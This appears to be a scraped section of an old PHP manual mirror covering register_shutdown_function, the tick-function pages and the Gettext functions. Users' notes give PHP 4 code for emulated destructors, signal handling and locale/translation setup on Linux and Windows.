Response to => vbwebprofi at gmx dot de 22-Nov-2003 03:12

You have to do a changement on the object to see the difference between = and =&

Here is your code modified to see the difference.
The modification of the code are essentially the var $Value_changed and the function change().
I have tested it under RedHat 9 with PHP 4.2.2

--8<--- cls_TEST.php --------------------------------------------->8--
<?php
class TEST {
   var $Value;
   var $Value_changed;

   // Constructor

   function TEST($in_Value = 0){
       // Register destructor
       register_shutdown_function(array(&$this, '_TEST'));

       $this->Value = $in_Value;
       $this->Value_changed = $in_Value;
       $this->_Log('TEST');
   }

   // Destructor
   function _TEST() {
       $this->_Log('_TEST');
   }

   // Private function
   function _Log($in_Msg) {
       $oF = fopen('/tmp/TEST.log', 'a');
       fwrite($oF, sprintf("%s : %-5s = %d ; %d\n",
                           date('Y-m-d H:i:s', time()),
                           $in_Msg,
                           $this->Value,
                           $this->Value_changed));
       fclose($oF);
   }

   // Function change()
   function change() {
       $this->Value_changed++;
       $this->_Log('change');
   }
}
?>
--8<--- test_TEST.php -------------------------------------------->8--
<?php
   // include class TEST
   include_once('cls_TEST.php');

   echo "New...<br>\n";
   $o1 =  new TEST(1);
   $o2 =& new TEST(2);
   # Strange declaration :
   $o3 &= new TEST(3);

   echo "Sleep...<br>\n";
   sleep(5);

   echo "Change...<br>\n";
   $o1->change();
   $o2->change();
   # The following line doesn't work !
   #$o3->change();

   echo "Sleep...<br>\n";
   sleep(5);

   echo "End.";
?>
--8<-------------------------------------------------------------->8--

It should produce a content like this in the file, specified in the _Log function :

2003-12-02 04:22:55 : TEST  = 1 ; 1
2003-12-02 04:22:55 : TEST  = 2 ; 2
2003-12-02 04:22:55 : TEST  = 3 ; 3
2003-12-02 04:23:01 : change = 1 ; 2
2003-12-02 04:23:01 : change = 2 ; 3
2003-12-02 04:23:06 : _TEST = 1 ; 1
2003-12-02 04:23:06 : _TEST = 2 ; 3
2003-12-02 04:23:06 : _TEST = 3 ; 3
vbwebprofi at gmx dot de
23-Nov-2003 01:12
Response to => php at spandex dot deleteme dot nildram dot co dot uk 28-Apr-2003 07:43

I have checked the methods to implement destructors in classes and
there is no requirement to use the syntax

$oX = &new Class();

See the code below and try, what fits your PHP-requirements. I have
tested with PHP 4.3.2 on Windows 2000.

--8<--- cls_TEST.php --------------------------------------------->8--
<?
  // Class
  class TEST {
   var $Value;

   // Constructor
   function TEST($in_Value = 0){
     // Register destructor
     register_shutdown_function(array(&$this, '_TEST'));

     $this->Value = $in_Value;
     $this->_Log('TEST');
   }

   // Destructor
   function _TEST() {
     $this->_Log('_TEST');
   }

   // Private function
   function _Log($in_Msg) {
     $oF = fopen('E:/temp/TEST.log', 'a');
     fwrite($oF, sprintf("%s : %-5s = %d\n",
                         date('Y-m-d H:i:s', time()),
                         $in_Msg,
                         $this->Value));
     fclose($oF);
   }
  }
?>
--8<--- test_TEST.php -------------------------------------------->8--
<?
  // include class TEST
  include_once('cls_TEST.php');

  $o1 =  new TEST(1);
  $o2 =& new TEST(2);
  $o3 &= new TEST(3);
?>
--8<-------------------------------------------------------------->8--

It should produce a content like this in the file, specified in the
_Log function :

2003-11-22 15:10:43 : TEST  = 1
2003-11-22 15:10:43 : TEST  = 2
2003-11-22 15:10:43 : TEST  = 3
2003-11-22 15:10:43 : _TEST = 1
2003-11-22 15:10:43 : _TEST = 2
2003-11-22 15:10:43 : _TEST = 3

----------------------------------------------------------------------
http://www.vbwebprofi.de
gabe at websaviour dot com
22-Nov-2003 04:09
It should be noted that register_shutdown_function() does not guarantee that the connection will be closed before executing the function.  In particular on Apache 1.3.27 w/ PHP 4.3.0 on OS X as well as Apache 1.3.22 w/ PHP 4.1.2 on Red Hat I have discovered that Apache does not close the connection until after the registered shutdown function has completed execution.  I am not sure what the circumstances that cause this are, but there is a bug at http://bugs.php.net/bug.php?id=20447

This is important, because as far as I can tell, the documented functionality of register_shutdown_function() is the *ONLY* way to achieve anything resembling asynchronous processing with PHP in a web server environment.  In my mind this is a severe limitation, because if you have some processing intensive task that needs to be done and you want to do it in PHP, there is no way to have it occur without an accompanying wait in a browser window.  Sure you can use ignore_user_abort() to ensure that processing doesn't get cancelled by an impatient user (or impatient browser for that matter), but usability is still compromised.
phpmanual at NO_SPHAMnetebb dot com
16-Nov-2003 12:31
Given this code:

class CallbackClass {
   function CallbackFunction() {
       // refers to $this
   }

   function StaticFunction() {
       // doesn't refer to $this
   }
}

function NonClassFunction() {
}

there appear to be 3 ways to set a callback function in PHP (using register_shutdown_function() as an example):

1: register_shutdown_function('NonClassFunction');

2: register_shutdown_function(array('CallbackClass', 'StaticFunction'));

3: $o =& new CallbackClass();
   register_shutdown_function(array($o, 'CallbackFunction'));

The following may also prove useful:

class CallbackClass {
   function CallbackClass() {
       register_shutdown_function(array(&$this, 'CallbackFunction')); // the & is important
   }

   function CallbackFunction() {
       // refers to $this
   }
}
jules at sitepointAASASZZ dot com
01-Jul-2003 03:41
If your script exceeds the maximum execution time, and terminates thusly:

Fatal error: Maximum execution time of 20 seconds exceeded in - on line 12

The registered shutdown functions will still be executed.

I figured it was important that this be made clear!
php at spandex dot deleteme dot nildram dot co dot uk
29-Apr-2003 04:43
I've had immense trouble getting any of the examples of emulated destructors to work.  They always seemed to have a copy of the object just after initialisation.  Many people mention that the register_shutdown_function will take a copy of the object rather than a reference... and this can be cured with an ampersand.  If you look in the PEAR docs for the way they emulate destructors you'll find that you also need one before the "new" statement when you create an instance of your object.  There's an editors note above that mentions this too... but I thought I'd collect it all here in one example that really works.  Honest... I'm using it (PHP 4.3.1):-

class Object {
   var $somevar = "foo";

   function Object() {
       $somevar = "bar";
       register_shutdown_function(array(&$this, 'MyDestructor'));
   }

   function MyDestructor() {
       # Do useful destructor stuff here...
   }
}

# Now create the object as follows and then 'MyDestructor'
# will be called on shutdown and will be able to operate on
# the object as it ended up... not as it started!
$my_object =& new Object;
kwazy at php dot net
29-Jan-2003 11:53
One more note to add about register_shutdown_function and objects.

It is possible to self-register the object from the constructor, but even using the syntax:
register_shutdown_function(array(&$this,'shutdown'))

will only result in the function being called with the object in the "just initialized" state, any changes made to the object after construction will not be there when the script actually exits.

But if you use:
$obj = new object();
register_shutdown_function(array(&$obj,'shutdown'));

the object method 'shutdown' will be called with the current state of the object intact.

[Editor's note: The explaination for this behaviour is really simple.
"$obj = new object()" creates a copy of the object which you can refer with $this in the object's constructor.
To solve this "problem" you should use "$obj = &new object()" which assign the reference to the current object.]
24-Oct-2002 12:35
When using CLI ( and perhaps command line without CLI - I didn't test it) the shutdown function doesn't get called if the process gets a SIGINT or SIGTERM. only the natural exit of PHP calls the shutdown function.
To overcome the problem compile the command line interpreter with --enable-pcntl and add this code:

function sigint()
{
   exit;
}
pcntl_signal(SIGINT, 'sigint');
pcntl_signal(SIGTERM, 'sigint');

This way when the process recieves one of those signals, it quits normaly, and the shutdown function gets called.
Note: using the pcntl function in web server envoirment is considered problematic, so if you are writing a script that runs both from the command line and from the server, you should put some conditional code around that block that identifies wheater this is a command line envoirment or not.
adam at saki dot com dot au
20-Aug-2002 06:38
When using objects the syntax register_shutdown_function(array($object, 'function')) will take a copy of the object at the time of the call.  This means you cannot do this in the constructor and have it correctly destruct objects.  The alternative is to use register_shutdown_function(array(&$object, 'function')) where the ampersand passes the reference and not the copy.  This appears to work fine.
enygma at phpdeveloper dot org
17-Jul-2002 06:37
I figured I'd share this since I got it working on my box.... this lets you run the "bye" function if the page ends normally or they stop it.

<?php
set_time_limit("0");
function bye(){
   //this is run when the page ends
   if(connection_aborted()){
       //this just means that the user hit the stop button or something
   }
}
register_shutdown_function('bye');
$count=100000000000000;
for($i=0; $i<$count; $i++){
   #sit here and loop for a bit so we can have time to hit Stop...
   echo " \n";
}
echo "end";
?>

I figured it might be useful to someone out there trying to run a function when the page ends (or is stopped).
saryon at unfix dot org
15-Jul-2002 07:49
But........if you turn the register_shutdown_functions
around to
register_shutdown_function('bye');
register_shutdown_function('thing');

it will give a message.
(seems logical, doesn't it? first do the first sd func,
then the second one)
priebe at mi-corporation dot com
15-Mar-2002 12:25
Note that register_shutdown_function() does not work under Apache on Windows platforms.  Your shutdown function will be called, but the connection will not close until the processing is complete.  Zend tells me that this is due to a difference between Apache for *nix and Apache for Windows.

I'm seeing similar behavior under IIS (using php4isapi).
add a note add a note

后退 | 起点 | 前进
get_defined_functions | 上一级 | register_tick_function


register_tick_function

(PHP 4 >= 4.0.3, PHP 5)

register_tick_function -- Register a function for execution on each tick

Description

bool register_tick_function ( callback function [, mixed arg [, mixed ...]] )

Registers the function named by func to be executed when a tick is called. Also, you may pass an array consisting of an object and a method as the func.

例子 1. register_tick_function() example

<?php
// using a function as the callback
register_tick_function('my_function', true);

// using an object->method
$object = new my_class();
register_tick_function(array(&$object, 'my_method'), true);
?>

See also declare() and unregister_tick_function().

add a note add a note User Contributed Notes
Michael Bailey (jinxidoru at byu dot net)
08-Jun-2004 04:16
Here's a nice function if you want to check how often your functions are getting called to make sure there aren't any useless files being included.  Just place the first script at the top of the beginning of your script (possibly using auto_prepend_file) and the second script at the end of your script (possibly using auto_append_file).

Script #1:
<?
function &watch_functions_tick($do_tick=true) {
   static $funcs = array();
   static $last_func;

   if ($do_tick) {
       $trace = debug_backtrace();
       $func = $trace[1]['function'];
       if ($trace[1]['class']) $func = $trace[1]['class'].$trace[1]['type'].$func;

       if ($func != $last_func && $func !== 'watch_functions_tick' && $func != 'unknown' && $func) {
           $funcs[$func]++;
           $last_func = $func;
       } elseif (!$func || $func = 'unknown') {
           $last_func = '';
       }
       $funcs['__TICK_COUNT__']++;
   } else {
       return $funcs;
   }
}
declare (ticks=1);
?>

Script #2:
<?
print_r(watch_functions_tick(false));
?>

-- Michael Bailey (http://www.jinxidoru.com)
microcamers_NOSPAM at hotmail dot com
28-Feb-2004 12:31
If your script will be used on Windows sytems running Apache, its best to stay away from this function... and for portability purposes, try and use a different function.

In most cases it will crash apache continually until the page is stopped from loading.
add a note add a note

后退 | 起点 | 前进
register_shutdown_function | 上一级 | unregister_tick_function


unregister_tick_function

(PHP 4 >= 4.0.3, PHP 5)

unregister_tick_function -- De-register a function for execution on each tick

Description

void unregister_tick_function ( string function_name )

De-registers the function named by function_name so it is no longer executed when a tick is called.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
register_tick_function | 上一级 | Gettext


Gettext

PHP 手册
后退 前进

XLIII. Gettext

简介

The gettext functions implement an NLS (Native Language Support) API which can be used to internationalize your PHP applications. Please see the gettext documentation for your system for a thorough explanation of these functions or view the docs at http://www.gnu.org/software/gettext/manual/gettext.html.

需求

To use these functions you must download and install the GNU gettext package from http://www.gnu.org/software/gettext/gettext.html

安装

To include GNU gettext support in your PHP build you must add the option --with-gettext[=DIR] where DIR is the gettext install directory, defaults to /usr/local.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
bind_textdomain_codeset -- Specify the character encoding in which the messages from the DOMAIN message catalog will be returned
bindtextdomain -- Sets the path for a domain
dcgettext -- Overrides the domain for a single lookup
dcngettext -- Plural version of dcgettext
dgettext -- Override the current domain
dngettext -- Plural version of dgettext
gettext -- Lookup a message in the current domain
ngettext -- Plural version of gettext
textdomain -- Sets the default domain

add a note add a note User Contributed Notes
webmaster [at] ttw [dash] tool [dot] de
21-May-2006 07:49
If you want to use messages from multiple domains with .mo-files residing in non-standard locations remember to place a bindtextdomain()-call for each domain as "unbound" domains will be looked for in the standard location (usually "/usr/share/locale" on *nix)

<?php

   bindtextdomain('foo','/some/dir/with/mo_files');
   bindtextdomain('bar','/another/mo_file/dir');

   echo dgettext('foo','Text to be translated using the foo-catalog.');
   echo dgettext('bar','Text from a different catalog named bar.');

?>

If all the .mo-files you are using reside in one and the same directory, you may use the "*"-wildcard like this:

<?php

   bindtextdomain('*','/directory/with/all/mo_files');

?>

This code was tested on PHP 5.1.4
info at adaniels dot nl
20-Apr-2006 03:19
As stated by robert at klugher dot com:
The environment setting 'LANGUAGE' gets priority above any local setting. This means that changing LC_ALL/LC_MESSAGES and LANG as done in almost all examples, won't do anything.

So if you've done
<?php
   $language = "nl_NL";
   putenv("LANG=$language");
   setlocale(LC_ALL, $language);
   ...
?>
but the text is still displayed in english. Try also setting the LANGUAGE variable.
<?php
   $language = "nl_NL";
   putenv("LANGUAGE=$language");
   putenv("LANG=$language");
   setlocale(LC_ALL, $language);
   ...
?>
birkholz at web dot de
29-Mar-2006 01:52
> stefan+usenet at froehlich dot priv dot at wrote at 5-May-2004 01:30:
> Reading the line
>
> <? php setlocale(LC_ALL, 'de_DE'); ?>
>
> here over and over again, I have to warn using it, as there are severe caveats.
> For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to
> decimals silently stripped of numbers, when inserting rows into an SQL database.
>So DON'T do this, but use
>
> <? php setlocale(LC_MESSAGES, 'de_DE'); ?>
>
> instead, which does exactly what you want, without any nasty side effecs.

For all Windows-Users:
Be warned the LC_MESSAGES seems to be NOT set on Windows with PHP 5.1.2, so if you develope applications for a Linux-System and want to make it multi-language using gettext, you will get problems using LC_MESSAGES on your Windows-Developement-Box.
You can try to solve this problem by putting a

<?php if (!defined('LC_MESSAGES')) define('LC_MESSAGES', 6); ?>

to your script to get no warning if you pass LC_MESSAGES to the setlocale()-function.
Juan Liska
16-Nov-2005 07:09
if you're having trouble with setlocale (if it's returning false) on ubuntu or debian:

nano /etc/locale.gen

make sure that the locales taht you want are in the list, if not, add them. for instance, i wanted es_GT (b/c i have an app that must run on redhat and debian, i cant change to es_GT.UTF-8) so, add:

es_GT UTF-8

then run:

locale-gen

you now have the locales you want, not just the ones the system magically came with
milky#users:sf/net
09-Jun-2005 09:12
There exists an emulation for the gettext functions - obviously slower than the native binding, but can be used on shared servers which lack the extension. It is believed to be rather useful as fallback (comes already encapsulated with if-function_exists checks).
See the ext/ directory in the [ http://freshmeat.net/p/upgradephp ] tarball.  Support for plural translations isn't there, because that is too hard to get reimplemented reliably.
tucsi at c2 dot hu
19-May-2005 07:09
If your gettext translation does not work in safe mode, than try to set this in the php.ini:
safe_mode_allowed_env_vars = PHP_,LANG
Maxwel Leite -maxwelleite at gmail com-
27-Apr-2005 03:36
PHP-gettext is developed to be able to read gettext MO files directly, without requiring anything other than PHP:
https://savannah.nongnu.org/projects/php-gettext/
elonen at iki dot fi
30-Mar-2005 05:51
For making localized copies of PHP files (statical l10n), here's a GPL'd command line tool: http://iki.fi/elonen/code/pophorator/
dpatton at confluence dot org
28-Feb-2005 02:47
Make sure you check your webserver configuration before deciding to use gettext, because if you are running in a multi-threaded environment you should not use gettext, as it is not thread-safe.

A future version of gettext(possibly 0.15) may be thread-safe.
Any gettext dependencies, such as glibc would also need to be thread-safe.

Apache 1.3 on Unix generally is non-threaded, but on Windows it is multithreaded.
Apache 2.0 has support for MPMs(Multi-Processing Modules), some of which support multiple threads:
http://httpd.apache.org/docs-2.0/mpm.html
susko at seznam dot cz
25-Feb-2005 01:09
Gettext returning question marks instead of some local characters? Try using bind_textdomain_codeset to change codeset of the translated messages:

bind_textdomain_codeset (domain, codeset);

It worked for me, hope it works for you ..
zixia at zixia dot net
12-Jun-2004 05:42
If gettext does not work with your locale, ie 'zh_CN', just going to see if the output of command "localedef --list-archive" contains your locale('zh_CN' in this example).
If it not, try to use a exist locale or use "localedef" to create one: "localedef -f GBK -i zh_CN zh_CN" in my case.
mikolaj at webgate dot bg
10-Jun-2004 07:54
winXP, PHP 4.3.5 as Apache1.3.29 module

Two hints for Windows users.

I found setting locale is neither sufficient nor nessecery. To get it work I needed to set either LC_ALL or LANG enviroment variable to my locale. Anyway this value must be proper for setlocale so it is good to test with it. In my case it was bgr_BGR for bulgarian according to http://www.unicode.org/onlinedat/countries.html

gettext checks for files once and keeps them in cashe. Especially it means that if it doesn't find your files it won't search again, so restart Apache after any directory changes!!

My minimal working script:
<?php
// translation file: D:\Apache\htdocs\mypage\locale\bgr_BGR\LC_MESSAGES\messages.mo
putenv("LC_ALL=bgr_BGR");
bindtextdomain('messages', 'D:\Apache\htdocs\mypage\locale\\');
echo gettext("Hello");
?>
stefan+usenet at froehlich dot priv dot at
05-May-2004 07:30
Reading the line

<? php setlocale(LC_ALL, 'de_DE'); ?>

here over and over again, I have to warn using it, as there are severe caveats. For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to decimals silently stripped of numbers, when inserting rows into an SQL database. So DON'T do this, but use

<? php setlocale(LC_MESSAGES, 'de_DE'); ?>

instead, which does exactly what you want, without any nasty side effecs.
kocio at irc dot pl
04-May-2004 06:26
Following three lines take about 0.5 second to execute (Debian, Celeron 2GHz, 256MB RAM):

setlocale(LC_ALL, 'pl_PL');
bindtextdomain('my_domain', '../dir/' . 'locale');
textdomain('my_domain');

I think that such delay is important enough to be mentioned in the documentation. In my particular case, it means more than doubled execution time for the entire script.
dev.php at tfelber.net
27-Aug-2003 10:35
Check your

/etc/locales.aliases for "english en_GB.ISO-8859-1" (mentioned before)

and your

/etc/locales.gen for en_GB.ISO-8859-15 ISO-8859-15

I'm not sure if only this entry solved the problem. In my case this entry was made by an dpkg-reconfigure locales (debian), where i created the locales.

Translation only works with de_GE@euro and  en_GB.ISO-8859-15 (first column in you locales.gen)
wouter at grep dot be
14-Aug-2003 03:28
Of course, translation is only interesting if you provide the user with the language and encoding he asks for. Since there's part of the HTTP protocol that allows you to specify that, it's nice if one can use that information to pick the 'right' translation out of the ones you have available.

I wrote something that does just that -- it parses the 'Accept-Language' and 'Accept-Charset' HTTP/1.1 headers, and tells you which one the user prefers out of a list you provide. You can download it at http://www.grep.be/articles/php-accept.php

Note that even if the user's browser may support this, the user may not know about it; as such, it's probably good practice not to remove links to other-languaged versions, so that people can still get a version of your site in another language if they so prefer.
jc
14-Jul-2003 04:15
I had a lot of problems getting gettext to work (RedHat 7.3). After reading ALL the comments in this manual, I got it to work OK.

In summary, take care that:

1) You use a full locale in the setlocale()
2) Your language_country exists in the /usr/share/locale/locale.alias
3) It seems that Apache needs to be restarted (a "graceful" did the trick for me)
4) Your .mo files must be named after the domain

My code:

$language = "es_ES";
$locale = setlocale(LC_ALL, $language);

$gettext_domain = 'messages';
bindtextdomain($gettext_domain, "/full/path/to/locale");
textdomain($gettext_domain);
anim8
18-Jun-2003 09:15
Even though in some cases setlocale() may require a country code in addition to the language code this does not mean that it is required for gettext.

If setlocale() is set to either es_ES or es_MX gettext() will still get the text from a po file in the 'es' folder.

It probably is not a good idea to go changing a systems alias file(s) just to avoid the verbosity of the ISO standard because:
  a) you might break something
  b) your code just lost it's portability

.
14-Jun-2003 10:41
The way I got gettext to work with just a standard "de" or "fr" instead of "de_DE" was I overwrote my /usr/share/locale/locale.alias with /usr/lib/X11/locale/locale.alias file.  The I restarted Apache.  Reason I did this was it appeared the X11 file was more up to date and more modernised!
Picco
09-Jun-2003 01:45
Note to Chinese programmers....

Took me hours to figure out you cannot use

LANG=zh
but have to use
LANG=zh_TW
on some machines...

a good way to test will be to check the return of setlocale()
robert at klugher dot com
26-Feb-2003 01:03
Sorry, one more info :

the previous post is especially interesting when you have values set on the server for some of the LC_... then, setlocale() output gives you all the LC_... with their value.

BUT do not forget that the priority order for gettext is:

LANGUAGE
LC_ALL
LC_MESSAGES
LANG

Then, if ever you script always translate to the same language, check the value of LANGUAGE ...
robert at klugher dot com
25-Feb-2003 09:24
One trick I found after HOURS of tries :

when you use the setlocale(), PHP will use the locale info it will find in, for example, /usr/share/locale to set the language info for LC_ALL, LC_MESSAGES, ...

You can check the exact info it will use by using putenv() with LANG=.... and looking at the return value of setlocale(LC_ALL, ""). The language value your gettext function will use to look for your translation file is the one given for LC_MESSAGES.

Example :

I was setting the LANG as fr_BE, and placed the translation file in dirxxx/locale/fr_BE/LC_MESSAGES/...
As it was locale info in my system for fr_BE but NOT LC_MESSAGES, PHP choosed to use the LC_MESSAGES settings for fr_FR instead and then, was looking for a translation file in dirxxx/locale/fr_FR/LC_MESSAGES/..., which wasn't found of course.

So, just make sure to look at the return value of setlocale to see what language value is associated to LC_MESSAGES and, then, to know in which subdirectory the translation file will be looked for by gettext.

Robert
zw at matfyz dot cz
06-Feb-2003 02:38
There is a nice tutorial on using gettext with php http://www.onlamp.com/pub/a/php/2002/06/13/php.html
php at zpod dot ca
30-Jan-2003 11:24
For those of you just trying to get a script working and your provider doesn't support gettext, you can bypass the international stuff by adding this:

function _($str) {
   return $str;
}
Eneko Lacunza enlar at enlar dot net
17-Jan-2003 12:20
Some tips from my Red Hat Linux 7.3 system.

It didn't work for me until I set a full locale (i.e. es_ES) with setlocale.

I was trying with Michele Manzato's example (thank you!), but as it sets the language without the country, it was failing for me. Here is the example "fixed" with full locale:

// Change to script directory
// (Not needed in RH 7.3)
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as full locale 'es_ES'
$language = 'es_ES';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/es_ES/LC_MESSAGES/mydomain.mo
// or if previous one doesn't exist:
// ./locale/es/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Hope this helps!
Eneko.
yledoare at free dot fr
15-Jan-2003 11:32
Corrections to "hace_x at yahoo dot com" message.

Note : The backslash have been removed in the greetings.po sample code (before the n characters at end of lines).

Same thing for ".includestranslations" to move into "./includes/translations" in php sample.

I used mingw (http://www.mingw.org) with gettext package (http://sourceforge.net/projects/mingwrep) to make it work under WinXp.

I uncoment also "extension=php_gettext.dll" in php.ini (I am using easy php 1.6.0.0)

Here is my conv.bat to generate french translation :

set path=c:\mingw\bin
msgfmt -v -o greetings.mo greetings.po
pause

That's all !

Yann Le Doar, Brest, France
ywliu atsign hotmail com
10-Jul-2002 12:39
Hello,

For users with Red Hat GNU/Linux (at least 6.2) to use gettext, I'd like to make some notes here :

1. Calling setlocale() is necessary, where calling putenv('LANG=xx_YY') or putenv('LC_ALL=xx_YY') is not.

2. The country/language code should be in the "language_country" form,such as, "en_US" or "fr_FR", or any entry in /usr/share/locale/locale.aliase . The simple ISO two-letter code, such as "en" , is not valid. You can examine the return value of setlocale to see if the locale setting succeeds.

This took me several hours to debug. I hope my experience can save you some time.

This may apply to other Linux distributions or *BSD systems. I don't know. I hope this helps.

Yen-Wei Liu
php at dynaperl dot com
25-Jun-2002 09:49
f you install from SuSE Dist. you need glibc-locale.rpm to let gettext work.

mfg ralph.
mgvNOSPAM at fx dot ro
05-Jun-2002 10:47
If you're as clueless as I am, please note the following:
1. Although most comments list setlocal() in the code, that's not actually required for translations - read the docs under "string functions" for details (also, the official gettext() examples don't include it);
2. hace_x's example is really cool, except you need to know that all "n"'s at the end of his strings should have a backslash before - they're actually EOL characters, but they somehow got messed up and I needed two hours to find that out...
hace_x at yahoo dot com
15-Nov-2001 09:40
I had alot of problems to get gettext() to work on my windows2000-php webserver. The following will give those windows-php users something to hold on to:

Note the way you have to use slashes for the bindtextdomain command:

For a 'greetings' domain:

bindtextdomain ("greetings", ".\includes\translations");

(so, TWO slashes instead of one between the folder-names!)

ALSO, I had to change the filename to be 'greetings.mo': This was NOT clear from all the gnu-pages I read. I had named those files: nl.mo (for dutch) and fr.mo (for french etcetera).

I provide my code and folder-structure here for other windows-users:

<?
Header("Content-type: text/plain");
// Bind a domain to directory
// Gettext uses domains to know what directories to
// search for translations to messages passed to gettext

bindtextdomain ("greetings", "./includes/translations"); // Set the current domain that gettext will use
textdomain ('greetings'); # Make an array

# Use the ISO two-letter codes as keys
# Use the language names as values
$iso_codes = array (
   'en'=>'English',
 'fr'=>'French',
   'it'=>'Italian',
  'pt'=>'Portuguese',
   'es'=>'Spanish',
  'nl'=>'Nederlands'
);
foreach ($iso_codes as $iso_code => $language) {
   # Set the LANGUAGE environment variable to the desired language
   putenv ('LANG='.$iso_code); # Print out the language name and greeting
# Filter the greeting through gettext

printf ("%12s: %s\n", $language, gettext("str_hello")) & "\n";

}
?>

In the windows-webfolder I have the following directory-structure:

==
includes\translations
includes\translationsen
includes\translations\en\LC_MESSAGES
includes\translations\en\LC_MESSAGES\greetings.po
includes\translations\nl\
includes\translations\nl\LC_MESSAGES
includes\translations\nl\LC_MESSAGES\greetings.mo
\includes\translations\nl\LC_MESSAGES\greetings.po
===

To get this working you will need a greetings.po file like this:

(this one is in the 'nl' subdir for dutch language):
===
msgid ""
msgstr ""
"Project-Id-Version: n"
"POT-Creation-Date: n"
"PO-Revision-Date: 2001-11-14 17:11+0100n"
"Last-Translator: Melle Koning <hace_x@yahoo.com>n"
"Language-Team:  <>n"
"MIME-Version: 1.0n"
"Content-Type: text/plain; charset=utf-8n"
"Content-Transfer-Encoding: 8bitn"

msgid "str_hello"
msgstr "hallo"
===

and you have to 'compile' this .po file to a .mo file with the following command-line (go to windows 'command prompt'):

==
msgfmt -o greetings.mo greetings.po
==

To get msgfmt working on your windows machine, you will need to have libiconv.dll, libintl.dll and msgfmt.exe in your path. What I did was put these three files in a new c:utils folder and than run the command:
path=%path%;c:utils

I hope this helps some windows-users like me to get gettext() to work on their systems.......

Cheers,
Melle
hace_x@yahoo.com
Michele dot Manzato at verona dot miz dot it
14-Sep-2001 06:52
Gettext is great, but there are a few caveats you have to consider in order to make it work. Unfortunately the gettext docs isn't so plain and clear...

The .mo file created with the gettext utilities must be:

[bindtextdomain's dir]/[language]/LC_MESSAGES/[domain].mo

otherwise gettext() function will fail to find it (this is true in win32, don't know about Un*ces). By the way you don't get any error message, the strings will simply remain untranslated.

Second, you must make sure which is the current directory if you use a relative path in bindtextdomain. On some systems the script directory isn't the current directory, so you have to chdir() there.

Then, of course, make sure that the appropriate gettext extension are loaded by PHP by looking at the php configuration file.

Here is some sample code:

// Change to the script directory
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as 'it'
$language = 'it';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/it/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Have fun!
Michele
12-Jul-2001 07:59
To get xgettext working with my php code I had to change simple quotes to double quites in my previous example :

print(getText("Welcome"));
/.../
if($err)printf(dGetText("errorMsg","you have an error here"));

I guess that's because strings can not be simple-quoted in C. However I think it is good practice to do as if it was a simple quote, because you do not want to interpolate a string that will end in the catalogue.

Ivan
11-Jul-2001 08:40
It is probably obvious to many of you,  but I thought it was worth mentioning that the domain is the name of the .mo files that contain the string catalogue (without the extension).

so if you have a catalogue myPage.mo for each page in './locale/lg/LC_MESSAGE' and some generic catalogues (e.g. errorMsg.mo) in '/global/locale/lg/LC_MESSAGE', you can do

bindTextDomain("$myPage", './locale');
bindTextDomain('errorMsg','/global/locale' );
textDomain('myPage');
print(getText('Welcome'));
/.../
if($err)printf(dGetText('errorMsg','you have an error here'));

Ivan
add a note add a note

后退 | 起点 | 前进
unregister_tick_function | 上一级 | bind_textdomain_codeset


bind_textdomain_codeset

(PHP 4 >= 4.2.0, PHP 5)

bind_textdomain_codeset -- Specify the character encoding in which the messages from the DOMAIN message catalog will be returned

Description

string bind_textdomain_codeset ( string domain, string codeset )

With bind_textdomain_codeset(), you can set in which encoding will be messages from domain returned by gettext() and similar functions.

add a note add a note User Contributed Notes
przemekkus at interia dot pl
06-Jun-2006 02:54
I had problems with German "umlauts" when using gettext. So, this is how it can be resolved:

I've put these lines itom my PHP code:

$domain = "messages";
bindtextdomain($domain, "path_to_messages_dir");
bind_textdomain_codeset($domain, 'ISO-8859-15');
textdomain($domain);

It works!
duckx at mezimail dot com
25-May-2004 02:33
First the the url of the gettext manual changed:
http://www.gnu.org/software/gettext/manual/

Secondly, lets explain a little bit what this fonction does.
By default, gettext will use the LC_CTYPE of the language you choose (for example fr_FR).
This LC_CTYPE is extracted from your locales.alias file in your configuration dir (Should be /etc/locales.alias).
By default, the encoding is frequently iso-8859-1.

So if you want to make your site utf-8 aware, you need to bind your domain with the right encoding.
Here is a sample:
<?php
   $locale="fr_FR.UTF-8"
   setlocale(LC_MESSAGES,  $locale);
   $domain = 'your_text_domain';
   bindtextdomain($domain, './translations_path');
   textdomain($domain);
   bind_textdomain_codeset($domain, 'UTF-8');

?>

As quoted in other notes, the translations path should be like
/translations_path
   /de_DE/
       /LC_MESSAGES
   /fr_FR/
       /LC_MESSAGES
   ...

Your translation goes in the LC_MESSAGES dirs ... Hopes this helps :)
kleinerwurm at gmx dot net
02-Apr-2003 10:31
Maybe the GNU gettext documentation gives some more details:
http://www.gnu.org/manual/gettext/html_chapter/gettext_10.html#SEC149
add a note add a note

后退 | 起点 | 前进
Gettext | 上一级 | bindtextdomain


bindtextdomain

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

bindtextdomain -- Sets the path for a domain

Description

string bindtextdomain ( string domain, string directory )

The bindtextdomain() function sets the path for a domain. It returns the full pathname for the domain currently being set.

例子 1. bindtextdomain() example

<?php

$domain = 'myapp';
echo bindtextdomain($domain, '/usr/share/myapp/locale');

?>

This will output:

/usr/share/myapp/locale

add a note add a note User Contributed Notes
Robert Beaudry
13-Feb-2006 06:19
To re-enforce Andreas' comment, I spent a few hours attempting to get phpldapadmin to work ... without success. I tracked it down to a "bindtextdomain" call that didn't return. Having found Andreas's note above, I simply added the php_gettext extension and everything now works!

Thanks Andreas.
Andreas Koepke: php at andreas dot id dot au
04-May-2004 12:19
This function requires the gettext extension to be added or compiled into PHP.

This is not mentioned anywhere above and had me stumped for a while, I only discovered this by reading the bug reports.
add a note add a note

后退 | 起点 | 前进
bind_textdomain_codeset | 上一级 | dcgettext


